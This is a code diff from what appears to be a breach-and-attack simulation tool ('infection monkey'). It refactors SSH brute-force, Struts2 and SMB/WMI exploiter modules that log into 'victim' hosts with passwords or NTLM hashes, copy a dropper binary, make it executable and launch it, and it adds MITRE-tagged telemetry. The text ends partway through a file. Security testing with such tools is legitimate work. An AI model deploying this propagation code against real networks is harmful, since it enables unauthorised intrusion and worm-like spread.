||||
|
@ -22,6 +26,7 @@ TRANSFER_UPDATE_RATE = 15
|
|||
class SSHExploiter(HostExploiter):
|
||||
_TARGET_OS_TYPE = ['linux', None]
|
||||
EXPLOIT_TYPE = ExploitType.BRUTE_FORCE
|
||||
_EXPLOITED_SERVICE = 'SSH'
|
||||
|
||||
def __init__(self, host):
|
||||
super(SSHExploiter, self).__init__(host)
|
||||
|
@ -70,29 +75,30 @@ class SSHExploiter(HostExploiter):
|
|||
|
||||
exploited = False
|
||||
|
||||
for user, curpass in user_password_pairs:
|
||||
for user, current_password in user_password_pairs:
|
||||
try:
|
||||
ssh.connect(self.host.ip_addr,
|
||||
username=user,
|
||||
password=curpass,
|
||||
password=current_password,
|
||||
port=port,
|
||||
timeout=None)
|
||||
|
||||
LOG.debug("Successfully logged in %r using SSH (%s : %s)",
|
||||
self.host, user, curpass)
|
||||
LOG.debug("Successfully logged in %r using SSH. User: %s, pass (SHA-512): %s)",
|
||||
self.host, user, self._config.hash_sensitive_data(current_password))
|
||||
exploited = True
|
||||
self.report_login_attempt(True, user, curpass)
|
||||
self.add_vuln_port(port)
|
||||
self.report_login_attempt(True, user, current_password)
|
||||
break
|
||||
|
||||
except Exception as exc:
|
||||
LOG.debug("Error logging into victim %r with user"
|
||||
" %s and password '%s': (%s)", self.host,
|
||||
user, curpass, exc)
|
||||
self.report_login_attempt(False, user, curpass)
|
||||
" %s and password (SHA-512) '%s': (%s)", self.host,
|
||||
user, self._config.hash_sensitive_data(current_password), exc)
|
||||
self.report_login_attempt(False, user, current_password)
|
||||
continue
|
||||
return exploited
|
||||
|
||||
def exploit_host(self):
|
||||
def _exploit_host(self):
|
||||
ssh = paramiko.SSHClient()
|
||||
ssh.set_missing_host_key_policy(paramiko.WarningPolicy())
|
||||
|
||||
|
@ -107,7 +113,7 @@ class SSHExploiter(HostExploiter):
|
|||
LOG.info("SSH port is closed on %r, skipping", self.host)
|
||||
return False
|
||||
|
||||
#Check for possible ssh exploits
|
||||
# Check for possible ssh exploits
|
||||
exploited = self.exploit_with_ssh_keys(port, ssh)
|
||||
if not exploited:
|
||||
exploited = self.exploit_with_login_creds(port, ssh)
|
||||
|
@ -160,10 +166,18 @@ class SSHExploiter(HostExploiter):
|
|||
ftp.putfo(file_obj, self._config.dropper_target_path_linux, file_size=monkeyfs.getsize(src_path),
|
||||
callback=self.log_transfer)
|
||||
ftp.chmod(self._config.dropper_target_path_linux, 0o777)
|
||||
|
||||
status = ScanStatus.USED
|
||||
T1222Telem(ScanStatus.USED, "chmod 0777 %s" % self._config.dropper_target_path_linux, self.host).send()
|
||||
ftp.close()
|
||||
except Exception as exc:
|
||||
LOG.debug("Error uploading file into victim %r: (%s)", self.host, exc)
|
||||
status = ScanStatus.SCANNED
|
||||
|
||||
T1105Telem(status,
|
||||
get_interface_to_target(self.host.ip_addr),
|
||||
self.host.ip_addr,
|
||||
src_path).send()
|
||||
if status == ScanStatus.SCANNED:
|
||||
return False
|
||||
|
||||
try:
|
||||
|
@ -176,6 +190,7 @@ class SSHExploiter(HostExploiter):
|
|||
self._config.dropper_target_path_linux, self.host, cmdline)
|
||||
|
||||
ssh.close()
|
||||
self.add_executed_cmd(cmdline)
|
||||
return True
|
||||
|
||||
except Exception as exc:
|
||||
|
|
|
@ -21,6 +21,7 @@ DOWNLOAD_TIMEOUT = 300
|
|||
|
||||
class Struts2Exploiter(WebRCE):
|
||||
_TARGET_OS_TYPE = ['linux', 'windows']
|
||||
_EXPLOITED_SERVICE = 'Struts2'
|
||||
|
||||
def __init__(self, host):
|
||||
super(Struts2Exploiter, self).__init__(host, None)
|
||||
|
|
|
@ -1,536 +0,0 @@
|
|||
import logging
|
||||
import ntpath
|
||||
import os
|
||||
import os.path
|
||||
import pprint
|
||||
import socket
|
||||
import struct
|
||||
import sys
|
||||
import urllib
|
||||
|
||||
from impacket.dcerpc.v5 import transport, srvs
|
||||
from impacket.dcerpc.v5.dcom import wmi
|
||||
from impacket.dcerpc.v5.dcom.wmi import DCERPCSessionError
|
||||
from impacket.dcerpc.v5.dcomrt import DCOMConnection
|
||||
from impacket.dcerpc.v5.dtypes import NULL
|
||||
from impacket.smb3structs import SMB2_DIALECT_002, SMB2_DIALECT_21
|
||||
from impacket.smbconnection import SMBConnection, SMB_DIALECT
|
||||
|
||||
import infection_monkey.config
|
||||
import infection_monkey.monkeyfs as monkeyfs
|
||||
from infection_monkey.network.firewall import app as firewall
|
||||
from infection_monkey.network.info import get_free_tcp_port, get_routes
|
||||
from infection_monkey.transport import HTTPServer, LockedHTTPServer
|
||||
from threading import Lock
|
||||
|
||||
|
||||
class DceRpcException(Exception):
|
||||
pass
|
||||
|
||||
|
||||
__author__ = 'itamar'
|
||||
|
||||
LOG = logging.getLogger(__name__)
|
||||
|
||||
|
||||
class AccessDeniedException(Exception):
|
||||
def __init__(self, host, username, password, domain):
|
||||
super(AccessDeniedException, self).__init__("Access is denied to %r with username %s\\%s and password %r" %
|
||||
(host, domain, username, password))
|
||||
|
||||
|
||||
class WmiTools(object):
|
||||
class WmiConnection(object):
|
||||
def __init__(self):
|
||||
self._dcom = None
|
||||
self._iWbemServices = None
|
||||
|
||||
@property
|
||||
def connected(self):
|
||||
return self._dcom is not None
|
||||
|
||||
def connect(self, host, username, password, domain=None, lmhash="", nthash=""):
|
||||
if not domain:
|
||||
domain = host.ip_addr
|
||||
|
||||
dcom = DCOMConnection(host.ip_addr,
|
||||
username=username,
|
||||
password=password,
|
||||
domain=domain,
|
||||
lmhash=lmhash,
|
||||
nthash=nthash,
|
||||
oxidResolver=True)
|
||||
|
||||
try:
|
||||
iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login,
|
||||
wmi.IID_IWbemLevel1Login)
|
||||
except Exception as exc:
|
||||
dcom.disconnect()
|
||||
|
||||
if "rpc_s_access_denied" == exc.message:
|
||||
raise AccessDeniedException(host, username, password, domain)
|
||||
|
||||
raise
|
||||
|
||||
iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface)
|
||||
|
||||
try:
|
||||
self._iWbemServices = iWbemLevel1Login.NTLMLogin('//./root/cimv2', NULL, NULL)
|
||||
self._dcom = dcom
|
||||
except:
|
||||
dcom.disconnect()
|
||||
|
||||
raise
|
||||
finally:
|
||||
iWbemLevel1Login.RemRelease()
|
||||
|
||||
def close(self):
|
||||
assert self.connected, "WmiConnection isn't connected"
|
||||
|
||||
self._iWbemServices.RemRelease()
|
||||
self._iWbemServices = None
|
||||
|
||||
self._dcom.disconnect()
|
||||
self._dcom = None
|
||||
|
||||
@staticmethod
|
||||
def dcom_wrap(func):
|
||||
def _wrapper(*args, **kwarg):
|
||||
try:
|
||||
return func(*args, **kwarg)
|
||||
finally:
|
||||
WmiTools.dcom_cleanup()
|
||||
|
||||
return _wrapper
|
||||
|
||||
@staticmethod
|
||||
def dcom_cleanup():
|
||||
for port_map in DCOMConnection.PORTMAPS.keys():
|
||||
del DCOMConnection.PORTMAPS[port_map]
|
||||
for oid_set in DCOMConnection.OID_SET.keys():
|
||||
del DCOMConnection.OID_SET[port_map]
|
||||
|
||||
DCOMConnection.OID_SET = {}
|
||||
DCOMConnection.PORTMAPS = {}
|
||||
if DCOMConnection.PINGTIMER:
|
||||
DCOMConnection.PINGTIMER.cancel()
|
||||
DCOMConnection.PINGTIMER.join()
|
||||
DCOMConnection.PINGTIMER = None
|
||||
|
||||
@staticmethod
|
||||
def get_object(wmi_connection, object_name):
|
||||
assert isinstance(wmi_connection, WmiTools.WmiConnection)
|
||||
assert wmi_connection.connected, "WmiConnection isn't connected"
|
||||
|
||||
return wmi_connection._iWbemServices.GetObject(object_name)[0]
|
||||
|
||||
@staticmethod
|
||||
def list_object(wmi_connection, object_name, fields=None, where=None):
|
||||
assert isinstance(wmi_connection, WmiTools.WmiConnection)
|
||||
assert wmi_connection.connected, "WmiConnection isn't connected"
|
||||
|
||||
if fields:
|
||||
fields_query = ",".join(fields)
|
||||
else:
|
||||
fields_query = "*"
|
||||
|
||||
wql_query = "SELECT %s FROM %s" % (fields_query, object_name)
|
||||
|
||||
if where:
|
||||
wql_query += " WHERE %s" % (where,)
|
||||
|
||||
LOG.debug("Execution WQL query: %r", wql_query)
|
||||
|
||||
iEnumWbemClassObject = wmi_connection._iWbemServices.ExecQuery(wql_query)
|
||||
|
||||
query = []
|
||||
try:
|
||||
while True:
|
||||
try:
|
||||
next_item = iEnumWbemClassObject.Next(0xffffffff, 1)[0]
|
||||
record = next_item.getProperties()
|
||||
|
||||
if not fields:
|
||||
fields = record.keys()
|
||||
|
||||
query_record = {}
|
||||
for key in fields:
|
||||
query_record[key] = record[key]['value']
|
||||
|
||||
query.append(query_record)
|
||||
except DCERPCSessionError as exc:
|
||||
if 1 == exc.error_code:
|
||||
break
|
||||
|
||||
raise
|
||||
finally:
|
||||
iEnumWbemClassObject.RemRelease()
|
||||
|
||||
return query
|
||||
|
||||
|
||||
class SmbTools(object):
|
||||
@staticmethod
|
||||
def copy_file(host, src_path, dst_path, username, password, lm_hash='', ntlm_hash='', timeout=60):
|
||||
assert monkeyfs.isfile(src_path), "Source file to copy (%s) is missing" % (src_path,)
|
||||
config = infection_monkey.config.WormConfiguration
|
||||
src_file_size = monkeyfs.getsize(src_path)
|
||||
|
||||
smb, dialect = SmbTools.new_smb_connection(host, username, password, lm_hash, ntlm_hash, timeout)
|
||||
if not smb:
|
||||
return None
|
||||
|
||||
# skip guest users
|
||||
if smb.isGuestSession() > 0:
|
||||
LOG.debug("Connection to %r granted guest privileges with user: %s, password: '%s',"
|
||||
" LM hash: %s, NTLM hash: %s",
|
||||
host, username, password, lm_hash, ntlm_hash)
|
||||
|
||||
try:
|
||||
smb.logoff()
|
||||
except:
|
||||
pass
|
||||
|
||||
return None
|
||||
|
||||
try:
|
||||
resp = SmbTools.execute_rpc_call(smb, "hNetrServerGetInfo", 102)
|
||||
except Exception as exc:
|
||||
LOG.debug("Error requesting server info from %r over SMB: %s",
|
||||
host, exc)
|
||||
return None
|
||||
|
||||
info = {'major_version': resp['InfoStruct']['ServerInfo102']['sv102_version_major'],
|
||||
'minor_version': resp['InfoStruct']['ServerInfo102']['sv102_version_minor'],
|
||||
'server_name': resp['InfoStruct']['ServerInfo102']['sv102_name'].strip("\0 "),
|
||||
'server_comment': resp['InfoStruct']['ServerInfo102']['sv102_comment'].strip("\0 "),
|
||||
'server_user_path': resp['InfoStruct']['ServerInfo102']['sv102_userpath'].strip("\0 "),
|
||||
'simultaneous_users': resp['InfoStruct']['ServerInfo102']['sv102_users']}
|
||||
|
||||
LOG.debug("Connected to %r using %s:\n%s",
|
||||
host, dialect, pprint.pformat(info))
|
||||
|
||||
try:
|
||||
resp = SmbTools.execute_rpc_call(smb, "hNetrShareEnum", 2)
|
||||
except Exception as exc:
|
||||
LOG.debug("Error enumerating server shares from %r over SMB: %s",
|
||||
host, exc)
|
||||
return None
|
||||
|
||||
resp = resp['InfoStruct']['ShareInfo']['Level2']['Buffer']
|
||||
|
||||
high_priority_shares = ()
|
||||
low_priority_shares = ()
|
||||
file_name = ntpath.split(dst_path)[-1]
|
||||
|
||||
for i in range(len(resp)):
|
||||
share_name = resp[i]['shi2_netname'].strip("\0 ")
|
||||
share_path = resp[i]['shi2_path'].strip("\0 ")
|
||||
current_uses = resp[i]['shi2_current_uses']
|
||||
max_uses = resp[i]['shi2_max_uses']
|
||||
|
||||
if current_uses >= max_uses:
|
||||
LOG.debug("Skipping share '%s' on victim %r because max uses is exceeded",
|
||||
share_name, host)
|
||||
continue
|
||||
elif not share_path:
|
||||
LOG.debug("Skipping share '%s' on victim %r because share path is invalid",
|
||||
share_name, host)
|
||||
continue
|
||||
|
||||
share_info = {'share_name': share_name,
|
||||
'share_path': share_path}
|
||||
|
||||
if dst_path.lower().startswith(share_path.lower()):
|
||||
high_priority_shares += ((ntpath.sep + dst_path[len(share_path):], share_info),)
|
||||
|
||||
low_priority_shares += ((ntpath.sep + file_name, share_info),)
|
||||
|
||||
shares = high_priority_shares + low_priority_shares
|
||||
|
||||
file_uploaded = False
|
||||
for remote_path, share in shares:
|
||||
share_name = share['share_name']
|
||||
share_path = share['share_path']
|
||||
|
||||
if not smb:
|
||||
smb, _ = SmbTools.new_smb_connection(host, username, password, lm_hash, ntlm_hash, timeout)
|
||||
if not smb:
|
||||
return None
|
||||
|
||||
try:
|
||||
tid = smb.connectTree(share_name)
|
||||
except Exception as exc:
|
||||
LOG.debug("Error connecting tree to share '%s' on victim %r: %s",
|
||||
share_name, host, exc)
|
||||
continue
|
||||
|
||||
LOG.debug("Trying to copy monkey file to share '%s' [%s + %s] on victim %r",
|
||||
share_name, share_path, remote_path, host)
|
||||
|
||||
remote_full_path = ntpath.join(share_path, remote_path.strip(ntpath.sep))
|
||||
|
||||
# check if file is found on destination
|
||||
if config.skip_exploit_if_file_exist:
|
||||
try:
|
||||
file_info = smb.listPath(share_name, remote_path)
|
||||
if file_info:
|
||||
if src_file_size == file_info[0].get_filesize():
|
||||
LOG.debug("Remote monkey file is same as source, skipping copy")
|
||||
return remote_full_path
|
||||
|
||||
LOG.debug("Remote monkey file is found but different, moving along with attack")
|
||||
except:
|
||||
pass # file isn't found on remote victim, moving on
|
||||
|
||||
try:
|
||||
with monkeyfs.open(src_path, 'rb') as source_file:
|
||||
# make sure of the timeout
|
||||
smb.setTimeout(timeout)
|
||||
smb.putFile(share_name, remote_path, source_file.read)
|
||||
|
||||
file_uploaded = True
|
||||
|
||||
LOG.info("Copied monkey file '%s' to remote share '%s' [%s] on victim %r",
|
||||
src_path, share_name, share_path, host)
|
||||
|
||||
break
|
||||
except Exception as exc:
|
||||
LOG.debug("Error uploading monkey to share '%s' on victim %r: %s",
|
||||
share_name, host, exc)
|
||||
continue
|
||||
finally:
|
||||
try:
|
||||
smb.logoff()
|
||||
except:
|
||||
pass
|
||||
|
||||
smb = None
|
||||
|
||||
if not file_uploaded:
|
||||
LOG.debug("Couldn't find a writable share for exploiting"
|
||||
" victim %r with username: %s, password: '%s', LM hash: %s, NTLM hash: %s",
|
||||
host, username, password, lm_hash, ntlm_hash)
|
||||
return None
|
||||
|
||||
return remote_full_path
|
||||
|
||||
@staticmethod
|
||||
def new_smb_connection(host, username, password, lm_hash='', ntlm_hash='', timeout=60):
|
||||
try:
|
||||
smb = SMBConnection(host.ip_addr, host.ip_addr, sess_port=445)
|
||||
except Exception as exc:
|
||||
LOG.debug("SMB connection to %r on port 445 failed,"
|
||||
" trying port 139 (%s)", host, exc)
|
||||
|
||||
try:
|
||||
smb = SMBConnection('*SMBSERVER', host.ip_addr, sess_port=139)
|
||||
except Exception as exc:
|
||||
LOG.debug("SMB connection to %r on port 139 failed as well (%s)",
|
||||
host, exc)
|
||||
return None, None
|
||||
|
||||
dialect = {SMB_DIALECT: "SMBv1",
|
||||
SMB2_DIALECT_002: "SMBv2.0",
|
||||
SMB2_DIALECT_21: "SMBv2.1"}.get(smb.getDialect(), "SMBv3.0")
|
||||
|
||||
# we know this should work because the WMI connection worked
|
||||
try:
|
||||
smb.login(username, password, '', lm_hash, ntlm_hash)
|
||||
except Exception as exc:
|
||||
LOG.debug("Error while logging into %r using user: %s, password: '%s', LM hash: %s, NTLM hash: %s: %s",
|
||||
host, username, password, lm_hash, ntlm_hash, exc)
|
||||
return None, dialect
|
||||
|
||||
smb.setTimeout(timeout)
|
||||
return smb, dialect
|
||||
|
||||
@staticmethod
|
||||
def execute_rpc_call(smb, rpc_func, *args):
|
||||
dce = SmbTools.get_dce_bind(smb)
|
||||
rpc_method_wrapper = getattr(srvs, rpc_func, None)
|
||||
if not rpc_method_wrapper:
|
||||
raise ValueError("Cannot find RPC method '%s'" % (rpc_method_wrapper,))
|
||||
|
||||
return rpc_method_wrapper(dce, *args)
|
||||
|
||||
@staticmethod
|
||||
def get_dce_bind(smb):
|
||||
rpctransport = transport.SMBTransport(smb.getRemoteHost(),
|
||||
smb.getRemoteHost(),
|
||||
filename=r'\srvsvc',
|
||||
smb_connection=smb)
|
||||
dce = rpctransport.get_dce_rpc()
|
||||
dce.connect()
|
||||
dce.bind(srvs.MSRPC_UUID_SRVS)
|
||||
|
||||
return dce
|
||||
|
||||
|
||||
class HTTPTools(object):
|
||||
@staticmethod
|
||||
def create_transfer(host, src_path, local_ip=None, local_port=None):
|
||||
if not local_port:
|
||||
local_port = get_free_tcp_port()
|
||||
|
||||
if not local_ip:
|
||||
local_ip = get_interface_to_target(host.ip_addr)
|
||||
|
||||
if not firewall.listen_allowed():
|
||||
return None, None
|
||||
|
||||
httpd = HTTPServer(local_ip, local_port, src_path)
|
||||
httpd.daemon = True
|
||||
httpd.start()
|
||||
|
||||
return "http://%s:%s/%s" % (local_ip, local_port, urllib.quote(os.path.basename(src_path))), httpd
|
||||
|
||||
@staticmethod
|
||||
def create_locked_transfer(host, src_path, local_ip=None, local_port=None):
|
||||
"""
|
||||
Create http server for file transfer with a lock
|
||||
:param host: Variable with target's information
|
||||
:param src_path: Monkey's path on current system
|
||||
:param local_ip: IP where to host server
|
||||
:param local_port: Port at which to host monkey's download
|
||||
:return: Server address in http://%s:%s/%s format and LockedHTTPServer handler
|
||||
"""
|
||||
# To avoid race conditions we pass a locked lock to http servers thread
|
||||
lock = Lock()
|
||||
lock.acquire()
|
||||
if not local_port:
|
||||
local_port = get_free_tcp_port()
|
||||
|
||||
if not local_ip:
|
||||
local_ip = get_interface_to_target(host.ip_addr)
|
||||
|
||||
if not firewall.listen_allowed():
|
||||
LOG.error("Firewall is not allowed to listen for incomming ports. Aborting")
|
||||
return None, None
|
||||
|
||||
httpd = LockedHTTPServer(local_ip, local_port, src_path, lock)
|
||||
httpd.start()
|
||||
lock.acquire()
|
||||
return "http://%s:%s/%s" % (local_ip, local_port, urllib.quote(os.path.basename(src_path))), httpd
|
||||
|
||||
|
||||
def get_interface_to_target(dst):
|
||||
if sys.platform == "win32":
|
||||
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
|
||||
try:
|
||||
s.connect((dst, 1))
|
||||
ip_to_dst = s.getsockname()[0]
|
||||
except KeyError:
|
||||
ip_to_dst = '127.0.0.1'
|
||||
finally:
|
||||
s.close()
|
||||
return ip_to_dst
|
||||
else:
|
||||
# based on scapy implementation
|
||||
|
||||
def atol(x):
|
||||
ip = socket.inet_aton(x)
|
||||
return struct.unpack("!I", ip)[0]
|
||||
|
||||
routes = get_routes()
|
||||
dst = atol(dst)
|
||||
paths = []
|
||||
for d, m, gw, i, a in routes:
|
||||
aa = atol(a)
|
||||
if aa == dst:
|
||||
paths.append((0xffffffff, ("lo", a, "0.0.0.0")))
|
||||
if (dst & m) == (d & m):
|
||||
paths.append((m, (i, a, gw)))
|
||||
if not paths:
|
||||
return None
|
||||
paths.sort()
|
||||
ret = paths[-1][1]
|
||||
return ret[1]
|
||||
|
||||
|
||||
def get_target_monkey(host):
|
||||
from infection_monkey.control import ControlClient
|
||||
import platform
|
||||
import sys
|
||||
|
||||
if host.monkey_exe:
|
||||
return host.monkey_exe
|
||||
|
||||
if not host.os.get('type'):
|
||||
return None
|
||||
|
||||
monkey_path = ControlClient.download_monkey_exe(host)
|
||||
|
||||
if host.os.get('machine') and monkey_path:
|
||||
host.monkey_exe = monkey_path
|
||||
|
||||
if not monkey_path:
|
||||
if host.os.get('type') == platform.system().lower():
|
||||
# if exe not found, and we have the same arch or arch is unknown and we are 32bit, use our exe
|
||||
if (not host.os.get('machine') and sys.maxsize < 2 ** 32) or \
|
||||
host.os.get('machine', '').lower() == platform.machine().lower():
|
||||
monkey_path = sys.executable
|
||||
|
||||
return monkey_path
|
||||
|
||||
|
||||
def get_target_monkey_by_os(is_windows, is_32bit):
|
||||
from infection_monkey.control import ControlClient
|
||||
return ControlClient.download_monkey_exe_by_os(is_windows, is_32bit)
|
||||
|
||||
|
||||
def build_monkey_commandline_explicitly(parent=None, tunnel=None, server=None, depth=None, location=None):
|
||||
cmdline = ""
|
||||
|
||||
if parent is not None:
|
||||
cmdline += " -p " + parent
|
||||
if tunnel is not None:
|
||||
cmdline += " -t " + tunnel
|
||||
if server is not None:
|
||||
cmdline += " -s " + server
|
||||
if depth is not None:
|
||||
if depth < 0:
|
||||
depth = 0
|
||||
cmdline += " -d %d" % depth
|
||||
if location is not None:
|
||||
cmdline += " -l %s" % location
|
||||
|
||||
return cmdline
|
||||
|
||||
|
||||
def build_monkey_commandline(target_host, depth, location=None):
|
||||
from infection_monkey.config import GUID
|
||||
return build_monkey_commandline_explicitly(
|
||||
GUID, target_host.default_tunnel, target_host.default_server, depth, location)
|
||||
|
||||
|
||||
def get_monkey_depth():
|
||||
from infection_monkey.config import WormConfiguration
|
||||
return WormConfiguration.depth
|
||||
|
||||
|
||||
def get_monkey_dest_path(url_to_monkey):
|
||||
"""
|
||||
Gets destination path from monkey's source url.
|
||||
:param url_to_monkey: Hosted monkey's url. egz : http://localserver:9999/monkey/windows-32.exe
|
||||
:return: Corresponding monkey path from configuration
|
||||
"""
|
||||
from infection_monkey.config import WormConfiguration
|
||||
if not url_to_monkey or ('linux' not in url_to_monkey and 'windows' not in url_to_monkey):
|
||||
LOG.error("Can't get destination path because source path %s is invalid.", url_to_monkey)
|
||||
return False
|
||||
try:
|
||||
if 'linux' in url_to_monkey:
|
||||
return WormConfiguration.dropper_target_path_linux
|
||||
elif 'windows-32' in url_to_monkey:
|
||||
return WormConfiguration.dropper_target_path_win_32
|
||||
elif 'windows-64' in url_to_monkey:
|
||||
return WormConfiguration.dropper_target_path_win_64
|
||||
else:
|
||||
LOG.error("Could not figure out what type of monkey server was trying to upload, "
|
||||
"thus destination path can not be chosen.")
|
||||
return False
|
||||
except AttributeError:
|
||||
LOG.error("Seems like monkey's source configuration property names changed. "
|
||||
"Can not get destination path to upload monkey")
|
||||
return False
|
|
@ -0,0 +1,5 @@
|
|||
|
||||
|
||||
class ExploitingVulnerableMachineError(Exception):
|
||||
""" Raise when exploiter failed, but machine is vulnerable"""
|
||||
pass
|
|
@ -0,0 +1,142 @@
|
|||
import logging
|
||||
import socket
|
||||
import struct
|
||||
import sys
|
||||
|
||||
from infection_monkey.network.info import get_routes
|
||||
|
||||
LOG = logging.getLogger(__name__)
|
||||
|
||||
|
||||
def get_interface_to_target(dst):
|
||||
"""
|
||||
:param dst: destination IP address string without port. E.G. '192.168.1.1.'
|
||||
:return: IP address string of an interface that can connect to the target. E.G. '192.168.1.4.'
|
||||
"""
|
||||
if sys.platform == "win32":
|
||||
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
|
||||
try:
|
||||
s.connect((dst, 1))
|
||||
ip_to_dst = s.getsockname()[0]
|
||||
except KeyError:
|
||||
LOG.debug("Couldn't get an interface to the target, presuming that target is localhost.")
|
||||
ip_to_dst = '127.0.0.1'
|
||||
finally:
|
||||
s.close()
|
||||
return ip_to_dst
|
||||
else:
|
||||
# based on scapy implementation
|
||||
|
||||
def atol(x):
|
||||
ip = socket.inet_aton(x)
|
||||
return struct.unpack("!I", ip)[0]
|
||||
|
||||
routes = get_routes()
|
||||
dst = atol(dst)
|
||||
paths = []
|
||||
for d, m, gw, i, a in routes:
|
||||
aa = atol(a)
|
||||
if aa == dst:
|
||||
paths.append((0xffffffff, ("lo", a, "0.0.0.0")))
|
||||
if (dst & m) == (d & m):
|
||||
paths.append((m, (i, a, gw)))
|
||||
if not paths:
|
||||
return None
|
||||
paths.sort()
|
||||
ret = paths[-1][1]
|
||||
return ret[1]
|
||||
|
||||
|
||||
def try_get_target_monkey(host):
|
||||
src_path = get_target_monkey(host)
|
||||
if not src_path:
|
||||
raise Exception("Can't find suitable monkey executable for host %r", host)
|
||||
return src_path
|
||||
|
||||
|
||||
def get_target_monkey(host):
|
||||
from infection_monkey.control import ControlClient
|
||||
import platform
|
||||
import sys
|
||||
|
||||
if host.monkey_exe:
|
||||
return host.monkey_exe
|
||||
|
||||
if not host.os.get('type'):
|
||||
return None
|
||||
|
||||
monkey_path = ControlClient.download_monkey_exe(host)
|
||||
|
||||
if host.os.get('machine') and monkey_path:
|
||||
host.monkey_exe = monkey_path
|
||||
|
||||
if not monkey_path:
|
||||
if host.os.get('type') == platform.system().lower():
|
||||
# if exe not found, and we have the same arch or arch is unknown and we are 32bit, use our exe
|
||||
if (not host.os.get('machine') and sys.maxsize < 2 ** 32) or \
|
||||
host.os.get('machine', '').lower() == platform.machine().lower():
|
||||
monkey_path = sys.executable
|
||||
|
||||
return monkey_path
|
||||
|
||||
|
||||
def get_target_monkey_by_os(is_windows, is_32bit):
|
||||
from infection_monkey.control import ControlClient
|
||||
return ControlClient.download_monkey_exe_by_os(is_windows, is_32bit)
|
||||
|
||||
|
||||
def build_monkey_commandline_explicitly(parent=None, tunnel=None, server=None, depth=None, location=None):
|
||||
cmdline = ""
|
||||
|
||||
if parent is not None:
|
||||
cmdline += " -p " + parent
|
||||
if tunnel is not None:
|
||||
cmdline += " -t " + tunnel
|
||||
if server is not None:
|
||||
cmdline += " -s " + server
|
||||
if depth is not None:
|
||||
if depth < 0:
|
||||
depth = 0
|
||||
cmdline += " -d %d" % depth
|
||||
if location is not None:
|
||||
cmdline += " -l %s" % location
|
||||
|
||||
return cmdline
|
||||
|
||||
|
||||
def build_monkey_commandline(target_host, depth, location=None):
|
||||
from infection_monkey.config import GUID
|
||||
return build_monkey_commandline_explicitly(
|
||||
GUID, target_host.default_tunnel, target_host.default_server, depth, location)
|
||||
|
||||
|
||||
def get_monkey_depth():
|
||||
from infection_monkey.config import WormConfiguration
|
||||
return WormConfiguration.depth
|
||||
|
||||
|
||||
def get_monkey_dest_path(url_to_monkey):
|
||||
"""
|
||||
Gets destination path from monkey's source url.
|
||||
:param url_to_monkey: Hosted monkey's url. egz : http://localserver:9999/monkey/windows-32.exe
|
||||
:return: Corresponding monkey path from configuration
|
||||
"""
|
||||
from infection_monkey.config import WormConfiguration
|
||||
if not url_to_monkey or ('linux' not in url_to_monkey and 'windows' not in url_to_monkey):
|
||||
LOG.error("Can't get destination path because source path %s is invalid.", url_to_monkey)
|
||||
return False
|
||||
try:
|
||||
if 'linux' in url_to_monkey:
|
||||
return WormConfiguration.dropper_target_path_linux
|
||||
elif 'windows-32' in url_to_monkey:
|
||||
return WormConfiguration.dropper_target_path_win_32
|
||||
elif 'windows-64' in url_to_monkey:
|
||||
return WormConfiguration.dropper_target_path_win_64
|
||||
else:
|
||||
LOG.error("Could not figure out what type of monkey server was trying to upload, "
|
||||
"thus destination path can not be chosen.")
|
||||
return False
|
||||
except AttributeError:
|
||||
LOG.error("Seems like monkey's source configuration property names changed. "
|
||||
"Can not get destination path to upload monkey")
|
||||
return False
|
|
@ -0,0 +1,90 @@
|
|||
import logging
|
||||
import os
|
||||
import os.path
|
||||
import urllib
|
||||
from threading import Lock
|
||||
|
||||
from infection_monkey.network.firewall import app as firewall
|
||||
from infection_monkey.network.info import get_free_tcp_port
|
||||
from infection_monkey.transport import HTTPServer, LockedHTTPServer
|
||||
from infection_monkey.exploit.tools.helpers import try_get_target_monkey, get_interface_to_target
|
||||
from infection_monkey.model import DOWNLOAD_TIMEOUT
|
||||
|
||||
__author__ = 'itamar'
|
||||
|
||||
LOG = logging.getLogger(__name__)
|
||||
|
||||
|
||||
class HTTPTools(object):
|
||||
|
||||
@staticmethod
|
||||
def create_transfer(host, src_path, local_ip=None, local_port=None):
|
||||
if not local_port:
|
||||
local_port = get_free_tcp_port()
|
||||
|
||||
if not local_ip:
|
||||
local_ip = get_interface_to_target(host.ip_addr)
|
||||
|
||||
if not firewall.listen_allowed():
|
||||
return None, None
|
||||
|
||||
httpd = HTTPServer(local_ip, local_port, src_path)
|
||||
httpd.daemon = True
|
||||
httpd.start()
|
||||
|
||||
return "http://%s:%s/%s" % (local_ip, local_port, urllib.quote(os.path.basename(src_path))), httpd
|
||||
|
||||
@staticmethod
|
||||
def try_create_locked_transfer(host, src_path, local_ip=None, local_port=None):
|
||||
http_path, http_thread = HTTPTools.create_locked_transfer(host, src_path, local_ip, local_port)
|
||||
if not http_path:
|
||||
raise Exception("Http transfer creation failed.")
|
||||
LOG.info("Started http server on %s", http_path)
|
||||
return http_path, http_thread
|
||||
|
||||
@staticmethod
|
||||
def create_locked_transfer(host, src_path, local_ip=None, local_port=None):
|
||||
"""
|
||||
Create http server for file transfer with a lock
|
||||
:param host: Variable with target's information
|
||||
:param src_path: Monkey's path on current system
|
||||
:param local_ip: IP where to host server
|
||||
:param local_port: Port at which to host monkey's download
|
||||
:return: Server address in http://%s:%s/%s format and LockedHTTPServer handler
|
||||
"""
|
||||
# To avoid race conditions we pass a locked lock to http servers thread
|
||||
lock = Lock()
|
||||
lock.acquire()
|
||||
if not local_port:
|
||||
local_port = get_free_tcp_port()
|
||||
|
||||
if not local_ip:
|
||||
local_ip = get_interface_to_target(host.ip_addr)
|
||||
|
||||
if not firewall.listen_allowed():
|
||||
LOG.error("Firewall is not allowed to listen for incomming ports. Aborting")
|
||||
return None, None
|
||||
|
||||
httpd = LockedHTTPServer(local_ip, local_port, src_path, lock)
|
||||
httpd.start()
|
||||
lock.acquire()
|
||||
return "http://%s:%s/%s" % (local_ip, local_port, urllib.quote(os.path.basename(src_path))), httpd
|
||||
|
||||
|
||||
class MonkeyHTTPServer(HTTPTools):
|
||||
def __init__(self, host):
|
||||
super(MonkeyHTTPServer, self).__init__()
|
||||
self.http_path = None
|
||||
self.http_thread = None
|
||||
self.host = host
|
||||
|
||||
def start(self):
|
||||
# Get monkey exe for host and it's path
|
||||
src_path = try_get_target_monkey(self.host)
|
||||
self.http_path, self.http_thread = MonkeyHTTPServer.try_create_locked_transfer(self.host, src_path)
|
||||
|
||||
def stop(self):
|
||||
if not self.http_path or not self.http_thread:
